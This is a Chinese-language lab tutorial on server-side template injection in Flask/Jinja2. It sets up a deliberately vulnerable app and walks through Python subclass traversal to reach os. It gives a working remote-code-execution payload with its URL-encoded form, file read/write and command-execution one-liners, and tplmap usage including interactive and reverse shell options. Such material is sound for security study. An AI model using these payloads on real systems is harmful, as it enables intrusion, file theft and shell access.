SSTI-服務端模板注入

原理:
服務端模板注入是由於服務端接收了用戶的輸入,將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而導致了敏感資訊泄露、程式碼執行、GetShell 等問題。
其影響範圍主要取決於模版引擎的複雜性。

模板引擎
模板引擎(這裡特指用於Web開發的模板引擎)是為了使用戶介面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標準的HTML文檔。
參考://baike.baidu.com/item/模板引擎/907667?fr=aladdin

Flask(Jinja2)服務端模板注入
Jinja2是用於Python的全功能模板引擎。它具有完整的unicode支援,一個可選的集成沙盒執行環境,已被廣泛使用並獲得BSD許可。 Jinja2由Django或Flask之類的Python Web框架使用。

Jinja官方網站://jinja.palletsprojects.com/en/2.11.x/

實驗測試:
flask ssti漏洞的程式碼:

from flask import Flask, request
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route("/")
def index():
name = request.args.get('name', 'guest')
 
t = Template("Hello " + name)
return t.render()
 
if __name__ == "__main__":

訪問://192.168.81.128:8000/

傳入參數:?name={{6*7}},可以得到:

說明存在SSTI漏洞

在python里要執行系統命令需要import os模組。
想要在模板中直接調用內置模組 os,即需要在模板環境中對其註冊
需要在上面的程式碼里加一句:
t.globals[‘os’] = os

如果沒有加這一句,直接使用os中的方法會報錯。
那麼,如何在未註冊 os 模組的情況下在模板中調用 popen() 函數執行系統命令呢?這就用到各種下劃線函數了。

>>> [].__class__
<type 'list'>
>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__.__subclasses__()

class:用來查看變數所屬的類,根據前面的變數形式可以得到其所屬的類。
bases:用來查看類的基類,也可是使用數組索引來查看特定位置的值
subclasses():查看當前類的子類。直接用object.subclasses(),也會得到和一樣的結果。

由此可以訪問到很多其他模組,os模組自然也可以這樣訪問到。
訪問os模組需要從warnings.catch_warnings模組入手的。看一下catch_warnings在哪個位置。

>>> import warnings
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

當我們獲取了位置後,再用func_global看看該模組有哪些global函數

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

這裡能看到linecache,我們要訪問的os模組就在這裡,看看這個模組的各種屬性:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

接下來就可以使用os模組了。

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

漏洞利用
獲取eval函數並執行任意python程式碼的POC如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

訪問

//192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到執行結果:

查看/etc/passwd

xss:name參數的值直接通過get請求獲取,並未做任何的處理,可以直接注入xss程式碼。

Python進行文件讀寫/命令執行的常用命令
//獲取基本類

''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//讀文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//寫文件

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')
object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//執行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI測試工具–Tplmap
GitHub://github.com/epinna/tplmap

// 幫助資訊
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h
Usage: python tplmap.py [options]

Options:
-h, –help Show help and exit.

Target:
These options have to be provided, to define the target URL.

-u URL, –url=URL Target URL.
-X REQUEST, –re.. Force usage of given HTTP method (e.g. PUT).

Request:
These options have how to connect and where to inject to the target
URL.

-d DATA, –data=.. Data string to be sent through POST. It must be as
query string: param1=value1&param2=value2.
-H HEADERS, –he.. Extra headers (e.g. ‘Header1: Value1’). Use multiple
times to add new headers.
-c COOKIES, –co.. Cookies (e.g. ‘Field1=Value1’). Use multiple times to
add new cookies.
-A USER_AGENT, -.. HTTP User-Agent header value.
–proxy=PROXY Use a proxy to connect to the target URL

Detection:
These options can be used to customize the detection phase.

–level=LEVEL Level of code context escape to perform (1-5, Default:
1).
-e ENGINE, –eng.. Force back-end template engine to this value.
-t TECHNIQUE, –.. Techniques R(endered) T(ime-based blind). Default: RT.

Operating system access:
These options can be used to access the underlying operating system.

–os-cmd=OS_CMD Execute an operating system command.
–os-shell Prompt for an interactive operating system shell.
–upload=UPLOAD Upload LOCAL to REMOTE files.
–force-overwrite Force file overwrite when uploading.
–download=DOWNL.. Download REMOTE to LOCAL files.
–bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and
connect to it.
–reverse-shell=.. Run a system shell and back-connect to local HOST
PORT.

Template inspection:
These options can be used to inspect the template engine.

–tpl-shell Prompt for an interactive shell on the template
engine.
–tpl-code=TPL_C.. Inject code in the template engine.

General:
These options can be used to set some general working parameters.

–force-level=FO.. Force a LEVEL and CLEVEL to test.
–injection-tag=.. Use string as injection tag (default ‘*’).

Example:

./tplmap -u ‘//www.target.com/page.php?id=1*

// 模板注入測試
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u “//192.168.81.128:8000/?name=hu1ge
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter ‘name’ is injectable
[+] Smarty plugin is testing rendering with tag ‘
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag ‘${
}’
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag ‘str()’
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag ‘{{
}}’
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag ‘{{}}’
[+] Jinja2 plugin has confirmed injection with tag ‘{{
}}’
[+] Tplmap identified the following injection point:

GET parameter: name   //注入參數:name
Engine: Jinja2   //使用的模板引擎
Injection: {{*}}   //注入方法
Context: text
OS: posix-linux
Technique: render
Capabilities:

Shell command execution: ok   //檢驗當前環境可使用的利用方法
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

–os-shell   在目標上運行shell
–os-cmd   執行shell命令
–bind-shell PORT   連接到目標埠的shell綁定
–reverse-shell HOST PORT   將shell發送回攻擊者的埠
–upload LOCAL REMOTE   將文件上載到伺服器
–download REMOTE LOCAL   下載遠程文件

// –os-cmd 執行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u “//192.168.81.128:8000/?name=hu1ge” –os-cmd whoami

// –os-shell 直接獲取互動式shell環境
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u “//192.168.81.128:8000/?name=hu1ge” –os-shell

參考鏈接:
//blog.csdn.net/zz_Caleb/article/details/96480967
//blog.csdn.net/qq_40827990/article/details/82940894
//github.com/vulhub/vulhub/tree/master/flask/ssti
//blog.csdn.net/qq_40657585/article/details/83657220?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.no